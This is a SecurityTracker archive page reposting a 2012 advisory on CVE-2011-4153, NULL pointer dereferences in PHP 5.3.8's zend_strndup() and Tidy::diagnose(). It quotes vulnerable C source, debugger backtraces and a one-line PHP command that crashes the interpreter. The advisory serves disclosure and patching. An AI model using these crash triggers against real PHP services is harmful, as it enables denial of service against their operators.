Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Generic)  >   PHP Vendors:   PHP Group
PHP Null Pointer Dereference in zend_strndup() Lets Local Users Deny Service
SecurityTracker Alert ID:  1026524
SecurityTracker URL:
CVE Reference:   CVE-2011-4153   (Links to External Site)
Date:  Jan 16 2012
Impact:   Denial of service via local system
Exploit Included:  Yes  
Version(s): 5.3.8
Description:   A vulnerability was reported in PHP. A local user can cause denial of service conditions.

The software makes calls to the zend_strndup() function without checking the returned values. A local user can run specially crafted PHP code to trigger a null pointer dereference in zend_strndup() and cause the target service to crash.

The oci8 extension is affected.

Other extensions are affected.

The original advisory is available at:

Maksymilian Arciemowicz reported this vulnerability.

Impact:   A local user can cause denial of service conditions.
Solution:   No solution was available at the time of this entry.

A fix is available for the oci8 extensions at:

Vendor URL: (Links to External Site)
Cause:   Access control error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

Subject:  PHP 5.3.8 Multiple vulnerabilities

[ PHP 5.3.8 Multiple vulnerabilities ]

Author: Maksymilian Arciemowicz
Date: 14.01.2012

CVE-2011-4153 (zend_strndup)

Original link:

[--- 1. Multiple NULL Pointer Dereference with zend_strndup() [CVE-2011-4153] ---]
As we can see in zend_strndup()

ZEND_API char *zend_strndup(const char *s, uint length)
	char *p;

	p = (char *) malloc(length+1);
	if (UNEXPECTED(p == NULL)) {
		return p; <=== RETURN NULL
	if (length) {
		memcpy(p, s, length);
	p[length] = 0;
	return p;

zend_strndup() may return NULL

in php code, many calls to zend_strndup() dosen't checks returned values. In result, places like:

	char *name;
	int name_len;
	zval *val;
	zval *val_free = NULL;
	zend_bool non_cs = 0;
	int case_sensitive = CONST_CS;
	zend_constant c;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sz|b", &name, &name_len, &val, &non_cs) == FAILURE) {
	c.flags = case_sensitive; /* non persistent */ = zend_strndup(name, name_len); <======== MAY RETURN NULL
	c.name_len = name_len+1;
	c.module_number = PHP_USER_CONSTANT;
	if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) {
	} else {

-PoC code---
[cx@82 /www]$ ulimit -a
socket buffer size       (bytes, -b) unlimited
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) 524288
file size               (blocks, -f) unlimited
max locked memory       (kbytes, -l) unlimited
max memory size         (kbytes, -m) 40000
open files                      (-n) 11095
pipe size            (512 bytes, -p) 1
stack size              (kbytes, -s) 65536
cpu time               (seconds, -t) unlimited
max user processes              (-u) 5547
virtual memory          (kbytes, -v) 40000
swap size               (kbytes, -w) unlimited
[cx@82 /www]$ cat define.php
-PoC code---

to see difference

[cx@82 /www]$ php define.php 8999999
Out of memory
[cx@82 /www]$ php define.php 9999999
Segmentation fault: 11

(gdb) bt
#0  0x28745eb0 in strrchr () from /lib/
#1  0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
    at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429
#2  0x08251e0e in zif_define (ht=2, return_value=0x28825a98, 
    return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
    at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688
#3  0x0826dba6 in zend_do_fcall_common_helper_SPEC (execute_data=0x29401040)
    at zend_vm_execute.h:316

There are others places, where zend_strndup() is used:

			if (sdl->is_persistent) {
				new_enc->details.ns = zend_strndup(ns, ns_len);
				new_enc->details.type_str = strdup(new_enc->details.type_str);
			} else {
				new_enc->details.ns = estrndup(ns, ns_len);
				new_enc->details.type_str = estrdup(new_enc->details.type_str);

	BG(syslog_device) = zend_strndup(ident, ident_len);
	openlog(BG(syslog_device), option, facility);

				} else { /* Other than true/false setting */
					Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2), Z_STRLEN_P(arg2));
					Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2);
				new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1));
				zend_str_tolower(new_key, Z_STRLEN_P(arg1));
				zend_hash_update(Z_ARRVAL_P(current_section), new_key, Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL);

		if (alloc_non_persistent) {
			connection = (php_oci_connection *) ecalloc(1, sizeof(php_oci_connection));
			connection->hash_key = estrndup(hashed_details.c, hashed_details.len);
			connection->is_persistent = 0;
		} else {
			connection = (php_oci_connection *) calloc(1, sizeof(php_oci_connection));
			connection->hash_key = zend_strndup(hashed_details.c, hashed_details.len);
			connection->is_persistent = 1;

				const_name = php_com_olestring_to_string(bstr_ids, &c.name_len, codepage TSRMLS_CC); = zend_strndup(const_name, c.name_len);
				c.name_len++; /* include NUL */

				/* sanity check for the case where the constant is already defined */
				if (zend_get_constant(, c.name_len - 1, &exists TSRMLS_CC)) {
					if (COMG(autoreg_verbose) && !compare_function(&results, &c.value, &exists TSRMLS_CC)) {
						php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type library constant %s is already defined",;
					ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc);

	/* On Unix use the (usual) TMPDIR environment variable. */
		char* s = getenv("TMPDIR");
		if (s && *s) {
			int len = strlen(s);

			if (s[len - 1] == DEFAULT_SLASH) {
				temporary_directory = zend_strndup(s, len - 1);
			} else {
				temporary_directory = zend_strndup(s, len);

			return temporary_directory;

[--- 2. Tidy::diagnose() NULL pointer dereference ---]
Class tidy, may provide to null pointer dereference using tidy lib. 

1287 	static PHP_FUNCTION(tidy_diagnose)
1288 	{
1291 	if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) {
1292 	tidy_doc_update_properties(obj TSRMLS_CC);
1294 	}
1297 	} 

(gdb) r -r '$nx=new Tidy("*");$nx->diagnose();'
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/php -r '$nx=new Tidy("*");$nx->diagnose();'
[Thread debugging using libthread_db enabled]
PHP Warning:  tidy::__construct(): Cannot Load '*' into memory  in Command line code on line 1

Program received signal SIGSEGV, Segmentation fault.
0x00007fffedfaff87 in prvTidyReportMarkupVersion ()
   from /usr/lib/

cx@cx64:~$ php -r '$nx=new Tidy("*");$nx->diagnose();'
PHP Warning:  tidy::__construct(): Cannot Load '*' into memory  in Command line code on line 1
Segmentation fault

I do not consider this vulnerability as a having security impact other as DoS.

[--- 3. Contact ---]
Author: Maksymilian Arciemowicz
Email: max {AA\TT cxsecurity |D|0|T] com


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC